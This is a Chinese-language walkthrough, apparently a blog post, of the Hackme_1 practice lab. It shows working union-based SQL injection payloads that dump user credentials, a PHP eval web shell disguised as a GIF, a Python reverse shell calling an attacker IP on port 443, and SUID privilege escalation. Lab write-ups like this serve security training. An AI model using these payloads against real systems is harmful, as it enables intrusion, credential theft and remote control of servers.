Hackme_1靶机渗透 (新手推荐)主要考点SQL注入,文件上传

1st 使用nmap、goby扫描出目标主机并收集相关信息

nmap 扫描

使用nmap -sV 扫描开启的相关服务

搜集到mac地址、系统为ubuntu 、http apache服务 开启80端口 22端口

goby 扫描

设置网段、端口开始扫描

扫描结果:发现开启80端口 Apache web服务 开启22端口 25端口

2ed 通过80端口进行访问,进一步收集信息

注册、登录

通过访问页面发现只有登录窗口,并且附带注册页面

先进行注册进一步寻找信息

点击注册按键进行注册

同时猜测注册窗口可能存在上传一句话木马病毒漏洞

注册后进行登录

发现搜索框 猜测可能存在xss漏洞与sql注入漏洞
单点搜多按键发现出现多条数据

通过单点回显猜测背后查询语句

单次点击后出现15条数据,初步猜测使用模糊查询

select * from books where name like '%name1%' ;

通过输入前两个字母发现能搜出相关内容确认使用了模糊查询

再次输入中间数据进行验证语句

发现并没有数据返回确认模糊查询只对后面进行模糊查询,确认基本语句为:

select * from books where name like 'name1%' ;

可能还会存在更复杂语句嵌套,暂时先确认到此。

验证sql注入是否存在

1、使用单引号判断法

osint'

发现既没有回显也没有报错

猜测两种可能:

1.会对单引号进行转义

2.报错回显并不会出现在前端页面

2、通过拼接’1’=’1’和’1’=’2’来进行判断

osint' and '1'='1' ; #

语句成功回显

osint' and '1'='2' ; #

回显消失,确定此输入框存在sql注入漏洞

3rd 进行sql注入

使用order by语句对回显字段数进行查询
osint' order by 3 ; #

因为回显框存在三个数据所以从3开始尝试

3个字段回显正常说明返回字段数为>=3

在对4个字段进行测试

回显为空,确认此语句查询返回结果为3个字段

使用 union进行联合查询 (深入挖掘数据库信息)
先确定3个回显数据在前端页面所对应位置
1' union select 1,2,3; #

借助database()查询当前所在数据库名称
1' union select database(),2,3 ; #

获取到数据库名称

借助information_schema数据库再次进一步深挖数据库信息
解释information_schema

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

其中存放表名的数据表为tables 、 存放字段名的数据表为columns

查询webapphacking数据库中的表格
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema = 'webapphacking' ; #

发现books、users 两个数据表

查询users表中包含的字段
1' union select group_concat(column_name),2,3 from information_schema.columns where table_name = 'users' ;# 

发现重要user字段与password字段

查询users表中user字段与password字段数据
1' union select group_concat(user),group_concat(pasword),3 from users; #

正确回显但是由于数据过多,不易查看,在此去掉group_concat(),再次查询。

1' union select user,pasword,3 from users; #

发现superadmin用户,对加密密码进行解密。

4th MD5解密

打开百度搜索 MD5在线解密

在百度进行解密

拿到superadmin用户密码Uncrackable

5th 文件上传漏洞

使用superadmin用户进行登录

发现存在文件上传入口要求上传文件格式为图片

通过制作图片马来尝试上传一句话木马

两种方式制作图片马

方法一: 通过书写图片头制作
方法二:通过将木马文件拼接到图片后得到

GIF89a<?php @eval($_POST[shell]); ?>
使用kali抓包修改进行文件上传

在点击提交前打开bp拦截、进行抓包

打开后点击提交,将抓取到的包发到repeater

将shell.jpg 修改为 shell.php

放包查看返回包内容

发现文件上传成功,并且保存到uploads文件夹下

尝试访问上传的一句话木马

发现页面只有拼接的图片头证明一句话木马成功执行

6th 打开中国蚁键接受反弹信息

打开中国蚁键 —— 右击 —— 点击添加数据

填好数据后点击测试链接,连接成功点击添加

点击文件管理初步查看靶机文件内容

准备在中国蚁键上传python代码 进行nc反弹
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.65.128",443))//kali ip 与 kali监听端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

上传成功后,右击点击在此处打开终端。

与此同时在kali端打开nc进行监听

打开监听后在蚁键终端内运行python反弹代码

成功反弹到终端

7th 漏洞提权

使用find查询可以进行suid的文件
find / -perm -u=s -type f 2>/dev/null

发现home目录下有一文件

find touchmenot -exec "whoami" \;
​
find touchmenot -exec "/bin/sh" \;

执行完之后发现提权失败

进入到touchmenot所在目录

使用ls-la查看文件

使用cat对文件内容进行查看

发现全都为乱码,猜测此为二进制文件

因为此文件在查询拥有suid权限时出现,猜测执行此二进制文件能够提权成功

执行完之后发现提权成功

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值